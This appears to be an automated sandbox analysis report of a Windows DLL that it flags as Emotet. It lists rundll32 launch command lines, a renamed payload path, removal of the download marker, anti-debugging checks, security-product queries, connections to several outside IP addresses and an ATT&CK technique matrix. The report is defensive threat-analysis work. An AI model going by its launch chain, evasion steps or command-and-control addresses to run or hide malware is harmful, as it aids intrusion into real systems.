Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000C158	7_2_1000C158
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10003F5C	7_2_10003F5C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10011F6B	7_2_10011F6B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001056A	7_2_1001056A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001577E	7_2_1001577E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10014D8D	7_2_10014D8D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10004F8E	7_2_10004F8E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000FD91	7_2_1000FD91
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10021193	7_2_10021193
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001B397	7_2_1001B397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001D99A	7_2_1001D99A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10019DA1	7_2_10019DA1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100143B3	7_2_100143B3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10017BB2	7_2_10017BB2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001B1B5	7_2_1001B1B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_100225C3	7_2_100225C3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1000A3DF	7_2_1000A3DF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001BFE8	7_2_1001BFE8

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: String function: 6EF5D020 appears 48 times

Source: wUKXjICs5f.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: wUKXjICs5f.dll	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll			Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll			Jump to behavior

Source: wUKXjICs5f.dll	Virustotal: Detection: 18%
Source: wUKXjICs5f.dll	ReversingLabs: Detection: 18%

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",Control_RunDLL
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf",CjHxo
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Source: C:\Program Files\Windows Defender\MpCmdRun.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",Control_RunDLL	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf",CjHxo	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fuigi\opvkeqtc.jnf",Control_RunDLL	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: classification engine

Classification label: mal100.troj.evad.winDLL@29/9@0/21

Source: C:\Windows\SysWOW64\rundll32.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10011B54 CreateToolhelp32Snapshot,

7_2_10011B54

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL

Source: C:\Windows\SysWOW64\rundll32.exe	Mutant created: \Sessions\1\BaseNamedObjects\7ce3e80173264ea19b05306b865eadf9
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:6740:120:WilError_01

Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: wUKXjICs5f.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: wUKXjICs5f.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: wUKXjICs5f.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: wUKXjICs5f.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: wUKXjICs5f.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: wUKXjICs5f.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: wUKXjICs5f.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: wUKXjICs5f.dll	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF4BAD4 push ebx; iretd	2_2_6EF4BADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF4C7C9 push esi; retf	2_2_6EF4C7D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF49C81 push eax; retf	2_2_6EF49C83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5D066 push ecx; ret	2_2_6EF5D079
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF4CDEB push esp; ret	2_2_6EF4CDEC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF45DD9 push eax; ret	2_2_6EF45DE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF4AD03 push esi; iretd	2_2_6EF4AD14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF4BAD4 push ebx; iretd	3_2_6EF4BADE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF4C7C9 push esi; retf	3_2_6EF4C7D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF49C81 push eax; retf	3_2_6EF49C83
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5D066 push ecx; ret	3_2_6EF5D079
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF4CDEB push esp; ret	3_2_6EF4CDEC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF45DD9 push eax; ret	3_2_6EF45DE2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF4AD03 push esi; iretd	3_2_6EF4AD14
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_10001229 push eax; retf	3_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_10001229 push eax; retf	4_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_10001229 push eax; retf	5_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_10001229 push eax; retf	6_2_1000129A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10001229 push eax; retf	7_2_1000129A

Source: wUKXjICs5f.dll

Static PE information: section name: .flat

Source: wUKXjICs5f.dll

Static PE information: real checksum: 0x748e8 should be: 0x6e85f

Source: C:\Windows\SysWOW64\rundll32.exe

PE file moved: C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf

Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Fuigi\opvkeqtc.jnf:Zone.Identifier read attributes \| delete			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File opened: C:\Windows\SysWOW64\Nscdc\kokhvtkmoofti.djn:Zone.Identifier read attributes \| delete			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\svchost.exe TID: 6624	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6768	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5052	Thread sleep time: -210000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF6188A FindFirstFileExW,	2_2_6EF6188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF6188A FindFirstFileExW,	3_2_6EF6188A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_10011A80 FindFirstFileW,	7_2_10011A80

Source: C:\Windows\SysWOW64\rundll32.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: svchost.exe, 0000001F.00000002.590962547.0000021E8B870000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@@
Source: svchost.exe, 00000009.00000002.602208449.000001E83A62A000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@a
Source: svchost.exe, 00000009.00000002.602601499.000001E83FE62000.00000004.00000001.sdmp	Binary or memory string: @Hyper-V RAW
Source: svchost.exe, 00000009.00000002.602578209.000001E83FE4A000.00000004.00000001.sdmp, svchost.exe, 0000001F.00000002.591117975.0000021E8B8E5000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000001F.00000002.591139133.0000021E8B8F4000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW}
Source: svchost.exe, 0000000C.00000002.771136140.000002313B666000.00000004.00000001.sdmp, svchost.exe, 0000000D.00000002.770654030.00000225AD629000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EF5CEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

2_2_6EF5CEA2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EF5C280 GetProcessHeap,HeapFree,

2_2_6EF5C280

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF614AE mov eax, dword ptr fs:[00000030h]	2_2_6EF614AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5F416 mov eax, dword ptr fs:[00000030h]	2_2_6EF5F416
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF614AE mov eax, dword ptr fs:[00000030h]	3_2_6EF614AE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5F416 mov eax, dword ptr fs:[00000030h]	3_2_6EF5F416
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_1001DE10 mov eax, dword ptr fs:[00000030h]	3_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_1001DE10 mov eax, dword ptr fs:[00000030h]	4_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_1001DE10 mov eax, dword ptr fs:[00000030h]	5_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_1001DE10 mov eax, dword ptr fs:[00000030h]	6_2_1001DE10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 7_2_1001DE10 mov eax, dword ptr fs:[00000030h]	7_2_1001DE10

Source: C:\Windows\System32\loaddll32.exe

Process queried: DebugPort

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5CEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EF5CEA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5C66F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_6EF5C66F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6EF5FF39 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_6EF5FF39
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5CEA2 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6EF5CEA2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5C66F SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6EF5C66F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6EF5FF39 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6EF5FF39

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 196.44.98.190 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 45.79.33.48 144	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 168.197.250.14 80	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 51.178.61.60 187	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Network Connect: 177.72.80.14 168	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\wUKXjICs5f.dll",#1			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\wUKXjICs5f.dll,Control_RunDLL			Jump to behavior

Source: rundll32.exe, 00000007.00000002.772821571.0000000003340000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: rundll32.exe, 00000007.00000002.772821571.0000000003340000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: rundll32.exe, 00000007.00000002.772821571.0000000003340000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: rundll32.exe, 00000007.00000002.772821571.0000000003340000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: rundll32.exe, 00000007.00000002.772821571.0000000003340000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EF5D07B cpuid

2_2_6EF5D07B

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 2_2_6EF5CAD3 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

2_2_6EF5CAD3

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000011.00000002.770684595.00000157EE240000.00000004.00000001.sdmp	Binary or memory string: ,@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000011.00000002.770853003.00000157EE302000.00000004.00000001.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected Emotet

Show sources

Source: Yara match	File source: 3.2.rundll32.exe.2886c78.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.26b6bc0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2806c60.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.rundll32.exe.2806c60.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.32a6ba0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a6ba0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.rundll32.exe.2886c78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.26b6bc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.32a6ba0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2de6d08.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.3.rundll32.exe.2de6d08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.26b6bc0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.2de6d08.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.772022098.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.250860645.00000000032A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.276395554.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.252359098.00000000032A6000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.251084633.00000000032A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.506501770.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.256705273.0000000002806000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.254361044.000000000267A000.00000004.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.250320926.00000000026B6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.327953238.0000000002DD4000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.251529098.0000000002886000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation1	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer4	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Process Injection112	Deobfuscate/Decode Files or Information1	LSASS Memory	File and Directory Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information2	Security Account Manager	System Information Discovery33	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	DLL Side-Loading1	LSA Secrets	Security Software Discovery61	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol13	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	File Deletion1	Cached Domain Credentials	Virtualization/Sandbox Evasion3	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
